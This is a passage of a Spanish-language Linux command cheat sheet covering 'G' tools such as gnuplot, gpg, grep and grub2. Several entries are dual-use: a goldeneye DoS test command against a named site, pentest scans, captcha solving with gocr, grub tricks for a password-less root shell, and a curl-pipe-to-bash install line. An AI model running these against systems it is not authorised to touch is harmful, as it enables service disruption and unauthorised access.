Entrar en el prompt de gnuplot
```

Una vez en el prompt de la aplicación mostrará de forma gráfica los siguientes datos entrados:

```
gnuplot> help plot (información)
```

```
gnuplot> help functions (funcioones soportadas)
```

```
gnuplot> plot sin(x)*cos(x/3)
```

```
gnuplot> plot sin(x)*cos(x/3), x/2
```

```
gnuplot> plot [-10:10] sin(x), atan(x), cos(atan(x))
```

```
gnuplot> set title "Funciones" (establecer nombre de la gráfica)
gnuplot> set xlabel "x [grados]" (establecer nombre para las coordenadas)
gnuplot> set ylabel "y(x)"
gnuplot> plot [-pi:pi] sin(x) title "sen(x)" with linespoints linetype 4 linewidth 3, atan
(x), cos(atan(x))

Otro ejemplo en 3D:
```

```
gnuplot> set xrange [-2:2]
gnuplot> set yrange [-2:2]
gnuplot> splot exp(-x * x) * exp(-y * y)

Otro ejemplo a partir de un archivo [en el mismo directorio o especificando la ruta]
```

```
$ cat datos (un archivo con 4 columnas de numeros fraccionales)
0.10 1.12 23.45 11.11
0.20 2.12 12.34 22.22
0.30 2.34 98.23 10.40
$ gnuplot (entrar en el prompt)
gnuplot> plot "datos" using 1:2 with lines
```

## gnutls-cli-debug

[gnutls]. Configura múltiples conexiones TLS a un servidor y consulta sus capacidades. Fue creado para ayudar a depurar GnuTLS, pero puede ser útil para extraer las capacidades de un servidor TLS. Se conecta a un servidor TLS, realiza pruebas e imprime un archivo con las capacidades del servidor.

```
$ gnutls-cli-debug -p 80 -v localhost
por el puerto 80 y con las máximas comprobaciones
```

## go2

Buscador de directorios. En Ubuntu es necesario hacer el --setup.

```
$ go2 images
Mostrará una lista de todos los directorios images del directorio personal precedidos de una letra [a, b, c...] al pulsarla, entraremos directamente en el directorio especificado
```

```
$ go2 -r carpeta
Busca desde el directorio raiz
```

```
$ go2 -l carpeta
Hace la búsqueda pero sólo muestra el resultado saliendo al acabar dicha búsqueda
```

```
$ /usr/lib/go2/go2.sh --setup
configura nuestro .bashrc para poder llamar al comando con go2 simplemente
```

## goaccess

Analiza el registro del servidor web Apache

```
# goaccess -f /var/log/apache2/access.log
forma básica, especificando el fichero
```

```
# goaccess -f /var/log/apache2/access.log -a -s -b
Habilitar lista de usuarios para el servidor seleccionado [a], activar respuesta de estado HTTP [s] y habilitar el consumo de ancho de banda total [b]
```

```
# goaccess -f /var/log/apache2/access.log -a > reporte.html
Mandar resultado a un archivo html
```

Nota.- Con la aplicación en marcha, con F1 aparecen las teclas interactivas.

## gobrowser

[golang git-core]Administrador de archivos basado en Web.

Instalación:

```
# cd /opt
# git clone https://github.com/xataz/gobrowser.git
# cd gobrowser
# go build app.go
Configuración:
```



## G

```
$ nano app.conf
```

Y añadir:

```
{
    "listen": ":6001", # Puerto de escucha
    "webroot": "/files", # Si queremos añadir /files para acceder via http://URL:6001/
                        # files. En caso contrario dejar vacío ("")
    "path": "/var/www/html/compartido", # Ruta al repositorio de archivos
    "hiddenfile": false # Si no queremos listar lo ocultos. "true" para incluirlos
}
```

```
$ ./app
```

Arrancar el servidor

2017/04/05 15:14:08 Configfile found !!!

2017/04/05 15:14:08 Starting goBrowser on :6001

## gocr

programa que imprime en la salida estándar todo el texto que puede leer de cualquier fichero gráfico de entrada. Usado especialmente para el descifrado de kapchas. El programa necesita cierto aprendizaje.

```
$ mkdir ocrdb
```

```
$ gocr -d 2 -p ./ocrdb/ -m 256 -m 130 kapcha.jpg
```

El aprendizaje. Lanzar varias veces

```
$ gocr -p ocrdb/ -m 2 kapcha.jpg
```

Comprobar si el programa lo resuelve solo

## gocryptfs

Cifrado de archivos en un directorio que se puede montar. Cada archivo almacena un archivo cifrado correspondiente en el disco duro.

```
$ mkdir dir_cifrado lugar
```

Crear directorios, el cifrado y donde se montará [lugar]

```
$ gocryptfs -init dir_cifrado
```

Iniciar el proceso. Pedirá contraseña y confirmación

```
$ gocryptfs dir_cifrado lugar
```

montar dir\_cifrado en "lugar"

```
$ touch lugar/archivo.txt
```

crear un archivo en el dir montado

```
$ fusermount -u lugar
```

desmontar el directorio montado

```
$ gocryptfs -passwd dir_cifrado
```

modificar la contraseña. Primero pide la antigua y luego la nueva y confirmación

```
$ gocryptfs -fsck dir_cifrado
```

chequear la consistencia del directorio cifrado [fsck summary: no problems found]

## goldeneye

Es una herramienta de prueba HTTP DoS. Esta herramienta se puede usar para probar si un sitio es susceptible a ataques de denegación de servicio (DoS). Es posible abrir varias conexiones paralelas contra una URL para verificar si el servidor web puede verse comprometido. El programa prueba la seguridad en las redes y utiliza 'HTTP Keep Alive + NoCache' como vector de ataque.

```
# goldeneye http://lapipaplana.org -m random -d
```

con metodo HTTP "random", por defecto "get" y debug

## golismoero

[python2.7 python2.7-dev python-pip python-docutils git perl nmap sslscan]. Framework para auditorías de seguridad y pentesting que se integra con un montón de soluciones como nmap, nikto, xserv, exploitdb, shodan, sqlmap, etc. Descarga e instalación:

```
$ git clone https://github.com/golismoero/golismoero.git
$ cd golismoero
# pip install -r requirements.txt
# pip install -r requirements_unix.txt
```

```
# python golismoero.py 192.168.1.10 -o report.html (escaneo total de una ip y guardar resultados en report.html)
```

```
# python golismoero.py URL -e sslscan -o report.html
usando un plugin concreto y resultados en report.html
```

```
# python golismoero.py localhost -o prueba.html -o prueba.txt --audit-name prueba_localhost
Iniciar la auditoria, que guarde el resultado en .html y .txt y dándole un nombre
```

```
# python golismoero.py URL -i nikto_output.csv -o report.html -d all
Importar el resultado de un scaneo con nikto [-i] y desactivando los otros plugins [-d]
```

```
# python golismoero.py URL -nd
Sin guardar los resultados en la base de datos. Por defecto lo hace automáticamente
```

```
# python golismoero.py URL -db database.db -no
Realizar el scaneo y guardarlo en la base de datos
```

```
# python golismoero.py -db database.db -d all -o report.html
Generar un informe a partir de un scaneo guardado en la base de datos
```

```
# python golismoero.py plugin
Ver listado de plugins disponibles
```

```
# python golismoero.py info brute_*
Ver detalles de un plugin concreto
```

## goobook

Interfaz en línea de comandos para los contactos de Google que admite: Búsqueda de contactos, agregar nuevos contactos e integración con la aplicación Mutt.

```
$ goobook authenticate
muestra una url para autorizar a google la aplicación
```

```
$ goobook config-template
crear el archivo de configuración en ~/.goobookrc
```

```
$ goobook dump_contacts
importar todos los contactos en formato xml
```

```
$ goobook query oficina
ver los contactos con la palabra "oficina"
```

```
$ goobook reload
actualizar la lista de contactos
```

## google

Buscador.

1.-

Mejorar búsquedas :

- No reconoce caracteres como el punto [.], el guión [-] o el circunflejo [^]

## G

---

- Suprimir artículos [campo de futbol -> campo futbol]
- Google no distingue mayúsculas ni minúsculas.
- Comillas. Búsquedas textuales ["ludwig van beethoven"]
- Operador lógico "OR" [mayúsculas] buscar dos conceptos [bach OR wagner]
- Barra vertical. Lo mismo [beethoven|wagner]
- ~ - Buscar palabras parecidas [~palabra]
- related parecido al anterior [related:www.site.com]
- link - Buscar páginas que apuntan a otra [link:www.host.com]
- info - Recabar información sobre un dominio [info:www.host.com]
- Asterisco - Si se desconoce algún dato ["ludwig \* beethoven"]
- filetype - Buscar extensiones concretas [comandos linux filetype:pdf]
- site - Restringir resultados por localización geográfica [site:.es arroz, armas site:onion.to ]
- time - Saber la hora de algún lugar [time Sao Paulo]
- sunset - Cuando saldrá el sol en algún lugar [sunset Sao Paulo]
- sunrise - Cuando se pondrá en algún lugar [sunrise Sao Paulo]
- cache - Cuando la página ya no está accesible [cache:www.host.com]
- intitle las que contengan la palabra o frase en el título [intitle:beethoven]
- allintitle - Las que contengan varias palabras sin necesidad de comillas [allintitle:bach, beethoben]
- intext - Buscar la palabra solo en el texto [intext:bach]
- define Buscar la definición de una palabra [define:palabra]
- inurl - Buscar por algún detalle en la url [inurl:pipa]
- all inurl - Las que contengan varias palabras en su url
- linux 2012..2013 - Buscar una palabra en artículos entre un rango de años.
- 58\*13 - Usar google como calculadora
- 100USD a EUR - Conversor de divisas [EUR = Euro, USD = Dólar, JPY = Yen, GBP = Libra esterlina, CHF = Franco suizo ...]
- 42km/h a m/s - Convertir km/hora a metros/segundo
- 1024 GB to kb - Convertir gigabytes a kilobytes
- 26hr to sec - Convertir horas a segundos
- Usar el menos [-] y el más [+] para excluir o incluir de una búsqueda determinado concepto [ comandos -militares, comandos +militares]
- do a barrel roll La página da una vuelta completa en la pantalla.

2.-

Gdrive (google-docs-fs)

```
# mkdir /media/gdrive
```

```
# gmount /media/gdrive cuenta@gmail.com -d
```

Pedirá contraseña de la cuenta y mostrando la salida del comando. Para desmontar: gumount /media/gdrive

## googler

Herramienta en línea de comandos basada en Python para Google (Web & News) y Google Search.

```
$ googler -N linux
$ googler -w lapipaplana.wordpress.com emacs
$ googler -w amazon.com -w ebay.com digital camera
$ googler -N googler --news
```

También puede entrarse en el prompt de la aplicación y entrar las búsquedas (dotemacs):

```
$ googler
Please initiate a query.
googler (? for help) dotemacs
```

## goto

Ir de un directorio a otro de forma rápida. Descarga e instalación:

```
$ wget -O goto.zip "https://github.com/ankitvad/goto/archive/master.zip"
$ unzip goto.zip
$ cd goto-master
# make install
# cp goto /usr/bin
```

Uso:

```
$ goto s descargas
Guardar el presente directorio con el nombre "descargas"
```

```
$ goto descargas
Ir al dir "descargas"
```

```
$ goto l
Listar los directorios guardados
```

```
$ goto d descargas
Suprimir el atajo guardado con el nombre "descargas"
```

## gpart

Reparar la tabla de particiones.

```
# gpart /dev/sda
escanear el disco
```

```
# gpart -W /dev/sda /dev/sda
reparar
```

```
# gpart -f -i /dev/sda
escaneo completo [-f] y preguntando si quieres o no activar la partición encontrada [-i]
```

## gpasswd

Añadir usuarios a grupos.

```
# gpasswd -d usuario video
Para eliminar "usuario" del grupo "video"
```

```
# gpasswd -a usuario video
Añadir "usuario" al grupo "video"
```

```
# gpasswd -A usuario video
Define a "usuario" como administrador del grupo "video"
```

## gperiodic

Muestra la tabla periódica de los elementos químicos.

## gpe-taskmanager

Abre una ventana en las X informando de las aplicaciones abiertas permitiendo matar el proceso que interesa o ha quedado colgado.

```
$ gpe-taskmanager
```

## gpg

Encriptación y autenticación de claves públicas

```
# gpg --keyserver subkeys.pgp.net --recv-keys XXXXXXXXXXXXXXXX
```

```
# gpg --export --armor XXXXXXXXXXXXXXXX | apt-key add -
```

```
# gpg --passphrase 1234 -c archivo.txt
Encriptar un archivo con la clave 1234
```

```
# gpg --passphrase 1234 -o xx.gpg -c archivo.txt
Encriptar archivo.txt con la clave 1234 y generando como archivo de salida xx.gpg
```

```
# gpg --dump-options
visualizar todas las opciones
```

```
# gpg -c archivo.txt
poner contraseña a un texto
```

```
# gpg archivo.txt.gpg
abrir
```

```
# gpg --refresh-keys
refrescar claves
```

```
$ gpg --gen-random --armor 1 8
Crear una clave aleatoria de 8 caracteres
```

```
$ gpg -ab fichero.txt
Crear una firma para un fichero
```

```
$ gpg --gen-key
Crear las claves. Preguntará algoritmo [RSA/RSA], longitud [2048 bits], caducidad, nombre y correo [opcional]
```

```
$ gpg --list-keys
Ver listado
```

## gpgconf

Utilidad para consultar y modificar los archivos de configuración en el directorio .gnupg.

```
$ gpgconf --reload gpg-agent
informar a gpg-agent de la nueva configuración
```

```
$ gpgconf --list-components
Enumera todos los componentes. Comando por defecto si no se especifica ninguno
```

```
$ gpgconf --check-programs
Enumera todos los programas disponibles y comprueba si se pueden ejecutar
```

```
$ gpgconf --list-dirs
Enumera los directorios usados por gpgconf
```

## gping

Comprobar si existe conectividad con un dispositivo o acceso a Internet. Como la utilidad ping pero escrita con python y mostrandolo en un gráfico. Se instala con snap:

```
# snap install gping
```

```
$ gping google.es
```

## gpm

Activar el mouse en las tty1-6. Si al arrancar el servicio [/etc/init.d/gpm start] marca error [fail] buscar el dispositivo:

```
# find /dev -iname psaux
```

Y arrancar la aplicación con los datos obtenidos:

```
# gpm -m /dev/psaux -t ps2
```

Configuración:

```
# nano /etc/gpm.conf
```

```
....
device=/dev/input/mice
responsiveness=25
repeat_type=none
type=exps2
append=''
sample_rate=
```

## gpw

Generador de contraseñas pronunciables

```
$ gpw 5 8
creará 5 de 8 caracteres
```

## grabc

Para conocer el color en RGB y exadecimal de algo del escritorio.

```
$ grabc
#1951c2
25,81,194
El puntero del ratón de convierte en una cruz y al clicar obtiene el color.
```

## graphviz

(meta paquete). Genera gráficos a partir de archivos de texto. Ver pactree o dot porque la aplicación incluye varios ejecutables: acyclic, bcomps, ccomps, circo, cluster, diffimg, dijkstra, dot, dot2gxl, dot\_builtins, dotty, edgepaint, fdp, gc, gml2gv, graphml2gv, gv2gml, gv2gxl, gvcolor, gvgen, gvmap, gvmap.shn, gvpack, gvpr, gxl2dot, gxl2gv, lefty, lneato, mingle, mm2gv, neato, nop, osage, patchwork, prune, sccmap, sfdp, tred, twopi, unflatten y vimdot. Generar un archivo con pactree:

```
$ pactree -g htop > htop
```

```
$ dotty htop
muestra el gráfico
```

## grc

Colorear la salida de los comandos especificados en /etc/grc.conf

```
$ grc ping www.tuxapuntos.com
```

## grep

Lee la entrada estándar o un archivo e imprime las líneas que cumplan el patrón. Ver expresiones regulares

```
$ grep -c 'UUID' /etc/fstab
```

Muestra sólo el número de líneas que coinciden con el patrón

```
$ grep -n 'UUID' /etc/fstab
```

Muestra el número de líneas y su contenido

```
$ grep -i 'uuid' /etc/fstab
```

No distingue entre mayúsculas ni minúsculas

```
$ grep -w 'fstab' /etc/fstab
```

Ha de coincidir el patrón completo, no una parte

```
$ grep -v 'fstab' /etc/fstab
```

Muestra las que no tienen el patrón

```
$ grep -E 'fstab|dev' /etc/fstab
```

Mostramos las líneas que contengan dos palabras. Requiere habilitar las expresiones regulares extendidas [ver]

```
$ grep -e 'fstab' -e 'dev' /etc/fstab
```

Forma de mostrar las líneas que contengan dos palabras sin habilitar las expresiones regulares extendidas

```
$ grep -r 'fstab' /etc
```

Buscar una palabra de un directorio y los subdirectorios

```
$ grep -l -r 'fstab' /etc
```

Sólo mostrar los archivos que contienen la palabra en el directorio y los subdirectorios

```
$ grep -n 'fstab' /etc/fstab
```

Mostrar la línea y el número de línea

```
$ grep -A 2 'swap' /etc/fstab
```

Mostrar la línea de la ocurrencia [swap] y las 2 siguientes

```
$ grep -B 1 'swap' /etc/fstab
```

Mostrar la línea de la ocurrencia [swap] y la anterior

```
$ grep --color UUID /etc/fstab
```

Resaltar en color la palabra "UUID"

Otras opciones:

```
$ grep -Fx -f archivo1 archivo2
```

Mostrar líneas que aparezcan en dos archivos

```
# grep -i -a -B35 -A90 'palabreja' /dev/sda1 > recup.txt
```

recuperar un archivo borrado con rm que incluye la palabra palabreja y su tamaño estimado: [-B50] 35 líneas anteriores a palabreja y [-A90] 90 líneas posteriores. Especificar partición y archivo de recuperación

```
$ grep cups /etc/services
```

Conocer el puerto por el que corre un servicio

```
$ grep 631 /etc/services
```

Conocer el servicio por el que corre un puerto

```
$ grep -s 'palabra'
```

Suprime los mensajes de error sobre ficheros que no existen o no se pueden leer

Buscar tres palabras al inicio de la línea [escapando la barra vertical] de un archivo:

```
$ mysqldump --help | grep ^routines\|^trigg\|^user -E
```

1.- Borrar directorios y/o archivos dejando alguno [borrar todo menos DIR3 i los archivos que contengan "archi"]:

```
$ ls | grep -v DIR3 | grep -v archi | xargs -d"\n" rm -rf
```

## grive

[gdrive]. Permite sincronizar cualquier carpeta local con el servicio de almacenamiento online de Google. En Ubuntu: add-apt-repository ppa:nilarimogard/webupd8

```
$ mkdir grive
crear una carpeta para sincronizar archivos
```

```
$ cd grive
Entrar en la carpeta
```

```
$ grive -a
Mostrará una URL que debe copipastearse al navegador, preferiblemente chromium, y este nos
mostrará un código que ha de copipastearse a la consola, tras lo cual empieza el sincronización
```

A partir de este momento siempre que entremos en la carpeta gdrive podremos sincronizarla con el almacenamiento de Google lanzando:

```
$ grive
```

## groupadd

Crear un nuevo grupo

```
# groupadd oficina
```

## groupdel

Borrar un grupo.

```
# groupdel oficina
```

## groupmod

Renombrar grupos.

```
# groupmod -n nuevo_grupo viejo_grupo
```

## groups

Muestra los grupos a los que pertenece el usuario.

```
$ groups usuario
El usuario especificado
```

```
$ groups
Sin especificar usuario muestra los del usuario con el que estamos
```

## growisofs

Grabación de dvds.

```
$ growisofs -dvd-compat -Z /dev/sdb=imagen.iso
```



## grpck

Chequea las sintaxis correcta de los ficheros `/etc/group` y `/etc/gshadow`.

```
# grpck
Una salida vacia indica que todo es correcto
```

```
# grpck -r
gerera un informe
```

## grub

Para restituir un gestor de arranque

```
# grub

grub>
grub> find /boot/grub/stage1      (saber los grubs que tenemos en el PC)
grub> root (hd0,1)                (escogemos el que queremos instalar)
grub> setup (hd0)                 (y donde lo queremos instalar)
grub> quit                        (salir)
```

```
# grub-install --root-directory=/media/floppy fd0
crear un disquete de arranque
```

```
# grub-install --root-directory=/mnt/sda1 --recheck /dev/sda
indica el directorio donde procede grub, parecido al comando anterior
```

## grub2

Gestor de arranque. Los dispositivos empiezan por 0 y las particiones empiezan con 1. `sda1` es `hd0,1` y no `hd0,0` como en el antiguo grub.

1.-

Modificación de parámetros generales:

```
# gedit /etc/default/grub

GRUB_DEFAULT= 0/saved (0 selecciona primera entrada, 1 la segunda... "saved" selecciona la
última entrada ejecutada.)
GRUB_TIMEOUT=10 (tiempo de espera antes de arrancar)
GRUB_HIDDEN_TIMEOUT=0 (esconder el menú de entradas. Si hay varios sistemas comentarlo)
GRUB_HIDDEN_MENU_QUIET=true (oculta la cuenta atrás. "false" la muestra)
GRUB_DISTRIBUTOR=lsb_release -i -s 2> /dev/null || echo Debian (determina el nombre del
sistema)
GRUB_CMDLINE_LINUX="acpi_osi=Linux" (opciones concretas que pueden pasarse al arranque)
GRUB_CMDLINE_LINUX_DEFAULT="splash noapic" (otras opciones por defecto)
GRUB_GFXMODE=1024x768 (activa el grub gráfico)
GRUB_DISABLE_LINUX_RECOVERY="true" (muestra la opción de recovery mode en el menú. false
lo suprime)
```

```
# update-grub2
hacer efectivos los cambios
```

2.-

Para que no aparezca `memtest` en el menú:

```
# chmod -x /etc/grub.d/20_memtest86+
```

El mismo comando con `+x` lo restituye.

```
# update-grub2
```

3.-

Quitar líneas que hacen referencia a kernels antiguos:

## G

```
# dpkg --get-selections | grep linux-image
averiguar los instalados
```

```
# apt-get remove --purge linux-image-2.6.xx-xx-generic
```

El update-grub2 se hará de forma automática.

4.-

Cambiar la imagen de fondo [apt-get install grub2-splashimages]. Si se quieren hacer con gimp, estas han de tener un tamaño de 640x480 pixeles y extensión .tga

```
$ ls /usr/share/images/grub
directorio de la imágenes
```

```
# gedit /etc/grub.d/05_debian_theme
```

Y modificamos en la linea:

```
WALLPAPER="/usr/share/images/grub/Lake_mapourika_NZ.tga"
```

```
# update-grub2
```

5.-

Reinstalar grub2 desde un live-cd o desde otra partición.

```
# fdisk -l
para saber la partición del grub que queremos instalar
```

```
# mount /dev/sda2 /media/sda2
montar la partición
```

```
# mount -o bind /dev/ /media/sda2/dev/
montar los sistemas de ficheros
```

```
# mount -o bind /sys/ /media/sda2/sys/
```

```
# mount -o bind /proc/ /media/sda2/proc/
```

```
# chroot /media/sda2
Chrootear la partición que alberga el grub que vamos a instalar
```

```
# grub-install /dev/sda
instalar grub en el disco
```

6.-

Para solucionar el problema de que al arrancar un sistema operativo la pantalla no muestra nada, editar el archivo:

```
# nano /etc/default/grub
```

Y en la linea:

```
GRUB_CMDLINE_LINUX_DEFAULT="quiet"
```

Añadir el chipset de vuestra gráfica:

```
General (para cualquier gráfica): nomodeset
ATI (driver libre ati o radeon): radeon.modeset=0
ATI (driver privativo): nomodeset
nVidia: xforcevesa o nomodeset
Nvidia con driver libre (nouveau): nouveau.modeset=0
Intel: i915.modeset=0
Quedando la entrada, por ejemplo para una Intel; como sigue:
```

```
GRUB_CMDLINE_LINUX_DEFAULT="quiet i915.modeset=0"
```

Modificar los colores de las fuentes para adaptarlas a las imágenes mostradas.

```
# gedit /etc/grub.d/05_debian_theme
```

y modificar las líneas

## G

---

```
set menu_color_normal=white/black
```

```
set menu_color_highlight=black/light-gray
```

color\_normal (los que se utilizan por defecto)

color\_highlight (los que se utilizan para la entrada seleccionada).

El primero de los 2 colores de cada uno de estos campos se refiere al color de la fuente, y el segundo, al color de fondo.

Colores permitidos:

```
red (rojo)
green (verde)
blue (azul)
yellow (amarillo)
cyan (cian)
magenta (magenta)
white (blanco)
black (negro)
light-gray (gris claro)
8.-
```

Colocar contraseña a grub2 para dos usuarios:

```
# nano /etc/grub.d/00_header
```

Colocar al final:

```
cat << EOF
```

```
set superusers=usuariol
```

```
password usuariol la_contraseña
```

```
password usuario2 otra_contraseña
```

```
EOF
```

9.-

Para que en el grub2 salga la partición de windows del sistema pero no otras particiones ntfs (de recuperación, HP, .)

```
$ gedit /boot/grub/grub.cfg
```

Copiar el menuentry perteneciente a la partición windows (no la de recuperación) y pastearla en:

```
# gedit /etc/grub.d/40_custom
```

Luego:

```
# gedit /etc/default/grub
```

Y añadir al final del archivo la línea:

```
GRUB_DISABLE_OS_PROBER=true
```

Recargar grub:

```
# update-grub
```

Nota.- Las entradas de 40\_custom no se muestran en la salida de la consola pero quedan reflejadas en el grub.cfg

10.-

Poner contraseña a grub2

```
# grub-mkpasswd-pbkdf2
Crear la contraseña encriptada en SHA512
```

```
# nano /etc/grub.d/00_header
```

## G

Y colocar al final del archivo:

```
cat << EOF
```

```
set superusers="usuario"
```

```
password_pbkdf2 usuario contraseña_SHA512
```

```
EOF
```

```
# nano /etc/grub.d/10_linux
```

Buscar la línea:

```
printf "menuentry '${title}' ${CLASS} {\n" "${os}" "${version}"
```

Y colocar al usuario al final de {CLASS}:

```
printf "menuentry '${title}' ${CLASS} --users usuario {\n" "${os}" "${version}"
```

```
# update-grub
```

11.-

Entrar como root desde grub sin contraseña:

- 1.- Cuando sale el menú de grub desplazarse al sistema que se quiere arrancar y pulsar la letra "e"
  - 2.- moverse a la línea del kernel
- En este punto puede optarse por dos soluciones:

- a) borrar todo desde después de "ro" hasta el final y colocar `init=/bin/bash [linux /boot/vmlinuz-3.2.0-4-amd64 root=UUID=de1d7793-c3d2-4e03-b79d-1a76905619e6 ro init=/bin/bash ]`. El teclado estará en inglés.
- b) ponemos al final de la línea "single" `[linux /boot/vmlinuz-3.2.0-4-amd64 root=UUID=de1d7793-c3d2-4e03-b79d-1a76905619e6 ro quiet single ]`

Y proseguir con el arranque pulsando F10 o Ctrl+x con lo que el sistema iniciará con una consola root.

12.-

Otra forma de entrar en el sistema cuando se ha perdido la contraseña de root y no se dispone de un live CD:

- 1.- Reiniciar y cuando aparece grub, pulsar la tecla "e"
- 2.- Buscar la línea en la que aparece algo como "init=/bin/bash" y modificar el parámetro de read-only (ro) por read-write (rw).
- 3.- Pulsar F10 para guardar cambios y reiniciar el equipo.
- 4.- Aparecerá un prompt shell en el que pondremos:  
`mount -n -o remount,rw /`  
`passwd root` (ponemos nueva contraseña)  
`exec /sbin/init` (reiniciamos)

13.-

Modificar el sistema que arranca primero.

```
# gedit /boot/grub/grub.cfg
```

Y modificar la línea que pone:

```
set default="2"
```

Arrancará el sistema situado en la 3ª línea que aparece en el menú (La primera línea es la 0)

## grub-mkconfig

Generar un fichero de configuración para grub [grub.cfg]

```
# grub-mkconfig -o /boot/grub/grub.cfg
```

Después instalar en el MBR [grub-install /dev/sda]

## grub-mkpasswd-pbkdf2

Crear una contraseña para una entrada de grub2

```
# grub-mkpasswd-pbkdf2
```

Se entra la contraseña y se confirma. Saldrá una codificación del tipo:

```
Your PBKDF2 is grub.pbkdf2.sha512.10000.F2FE383.....
```

Editar grub.cfg

```
# nano /boot/grub/grub.cfg
```

Colocar al final de la parte comentada (#):

```
set superusers="NOMBRE_USUARIO"
```

```
password_pbkdf2 NOMBRE_USUARIO grub.pbkdf2.sha512.10000.F2FE383.....
```

Especificando el nombre del usuario y copipasteando la clave codificada que nos ha dado el comando anterior. Finalmente en la entrada [menuentry] que se quiere proteger inmediatamente después de las comillas ['....'] indicando el nombre del sistema operativo:

```
--users NOMBRE_USUARIO
El resultado sería:
```

```
menuentry 'Ubuntu, amb Linux 3.2.0-24-generic (mode de restabliment)' --users NOMBRE_USUARIO --class
ubuntu --class gnu-linux ....
```

## grun

Lanador de aplicaciones GTK.

## gs

Visualizar y unir archivos pdf y ps [GhostScript].

```
$ gs archivo.ps
```

```
$ gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=1+2.pdf 1.pdf 2.pdf
unir dos pdfs
```

```
$ gs -q -sPAPERSIZE=a4 -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=1+2.pdf 1.pdf 2.pdf
Especificando medida de página
```

```
$ gs -q -dNOPAUSE -dBATCH -sDEVICE=pswrite -sOutputFile=1+2.ps 1.ps 2.ps
Unir dos ps
```

## gsettings

Herramienta de configuración. Equivalente a gconftool-2 [gconf-editor] pero para gnome3 [dconf-editor]

```
$ gsettings set com.canonical.indicator.session show-real-name-on-panel false
Borrar el nombre del panel de unity
```

```
$ gsettings set com.canonical.indicator.sound blacklisted-media-players "['xmms2']"
añadir aplicaciones en el menú de sonido
```

Opciones

help (Muestra informacion)

list-schemas (Lista de esquemas instalados)

## G

---

list-relocatable-schemas (Lista los que pueden ser modificados)

list-keys (Lista las claves de un esquema)

list-children (lista los procesos hijos de un esquema)

list-recursively (Lista claves y valores recursivamente)

range (Consulta el rango de la clave)

get (Obtiene el valor de una clave)

set (Establece el valor de una clave)

reset (Reinicia el valor de la clave)

reset-recursively (Reinicia los valores de todo un esquema)

writable (Comprueba si un clave es modificable)

monitor (Hace un seguimiento por si hay cambios)

## gt5

Proporciona un listado del uso del disco duro y se puede navegar por él. El programa muestra lo que ha sucedido desde la última ejecución y muestra el tamaño del directorio y el porcentaje total.

```
$ gt5 /home/user/ --debug
crea un archivo /tmp/gt5XXXXXXX/gt5.html
```

```
$ gt5 /home/user/ --discard
lo muestra en pantalla sin guardar. "q" para salir
```

```
$ gt5 /home/user/ --discard --save-state
lo guarda en el mismo directorio /tmp/gt5XXXXXXX/
```

## gthd

Es un demonio activado por DBus que proporciona información sobre zonas térmicas, celdas de enfriamiento y puntos de calientes. Este paquete contiene el demonio y el ejecutable gthcli. Primero lanzar el demonio:

```
$ gthd
```

Y despues comprobar la información:

```
$ gthcli
```

## gtop

Herramienta de monitoreo usando la terminal. Muestra información del rendimiento del sistema, uso del disco, memoria, CPU y red y muestra los porcentajes. (<<https://github.com/aksakalli/gtop>>)

Instalación:

```
# curl -sL https://deb.nodesource.com/setup_8.x | bash -
# apt-get install -y nodejs
# npm install gtop -g
```

```
$ gtop
lanzar la herramienta
```

Algunas teclas que se pueden usar:

p (ordenar por PID)

c (Por uso de CPU)

m (Por uso de memoria)

flechas aArriba/abajo (navegar por los procesos en ejecución)

## gtypist

Programa para aprender mecanografía en ncurses.

## guake

Emulador de terminal emergente. Una vez iniciado el servicio colocándola en la aplicaciones de inicio o con:

```
$ guake
```

La terminal aparecerá o desaparecerá pulsando la tecla F12

```
$ guake -p
```

arranca las preferencias. En algunas distros ha de lanzarse desde el propio guake

Para una personalización más exhaustiva:

```
# nano /usr/lib/guake/guake.py
```

```
En Arch: nano /usr/bin/guake
```

width = 80 (Modificar anchura, por defecto 100% de la pantalla)

if halignment == ALIGN\_CENTER: (Centrada)

## guake-indicator

permite administrar comandos personalizados. guake-indicator construye el menú de acuerdo con el archivo XML ~/.guake.indicator/guake-indicator.xml, si este archivo de configuración no existe, se creará uno predeterminado. Aunque guake-indicator tiene un editor de menú incorporado, se puede personalizar este archivo según necesidades con un editor de texto como base para agregar nuevas entradas. Los campos se explican por sí mismos, sin embargo, daré una pequeña descripción de cada uno:

menu\_name (nombre que aparecerá en el propio indicador)

tab\_name (nombre de la pestaña de la terminal de guake una vez que se abre)

command\_after\_login (comando para enviar a Guake a través de la interfaz DBUS)

dont\_show\_guake (Si se establece en yes, guake-indicator no pedirá que muestre su ventana principal)

## guake-toggle

Alternar la visibilidad de guake. Con este comando se puede ocultar/mostrar guake-terminal.

```
$ guake-toggle
```

## gucharmap

Permite navegar a través de todos los caracteres y categorías Unicode disponibles para las fuentes instaladas y examinar sus propiedades detalladas. Abre en mapa de caracteres en pantalla gráfica.

```
$ gucharmap
```

```
$ gucharmap --font 'Purisa 20'
```

## gunzip

Descomprime archivos gz comprimidos con gzip.

```
$ gunzip archivo.txt.gz
```

## guessnet

Herramienta de detección de redes no agresiva para usar cuando se mueve una máquina entre redes que no necesariamente proporcionan DHCP. Al hacer ifup eth0, guessnet verificara si eth0 tiene que activarse como hogar o oficina. Para ello utiliza la información almacenada en las definiciones de las interfaces lógicas. En el archivo /etc/network/interfaces han de constar los datos de las redes.

```
# nano /etc/network/interfaces

auto eth0

mapping eth0

    script guessnet-ifupdown

    map timeout: 10

    map default: none

iface hogar inet static

    address 192.168.1.16

    netmask 255.255.255.0

    gateway 192.168.1.1

    test1 peer address 192.168.1.1 mac 00:11:22:33:44:55

    test2 peer address 192.168.1.2 mac 00:55:44:33:22:11

iface oficina inet static

    address 192.168.0.45
    netmask 255.255.255.0
    gateway 192.168.0.254
    test1 peer address 192.168.0.254 mac 00:55:66:77:88:99
    test2 peer address 192.168.0.1 mac 00:99:88:77:66:55

# default dhcp for none

iface none inet dhcp
```

## gv

Visor de ps y pdf.

```
$ gv --grayscale --infoErrors --center out.pdf
en gris, sin mostrar los errores y centrado
```

## gxmessage

Dejar mensajes en la pantalla

```
$ gxmessage -center -fg red -bg black "No cierren la terminal"

-fg (Color de fuente)

-bg (Color de fondo)

-center (En el centro de la pantalla)

-iconic (Minimizado en el panel)

-nearmouse (Se abre donde está el cursor)

-entry (Con un cuadro de dialogo para entrar una respuesta)
```



## gzexe

Comprime ficheros ejecutables que al ser invocados se autodescomprimen para ejecutarse. Esta utilidad sólo se aplica en equipos con discos muy pequeños.

```
# gzexe /bin/ls
```

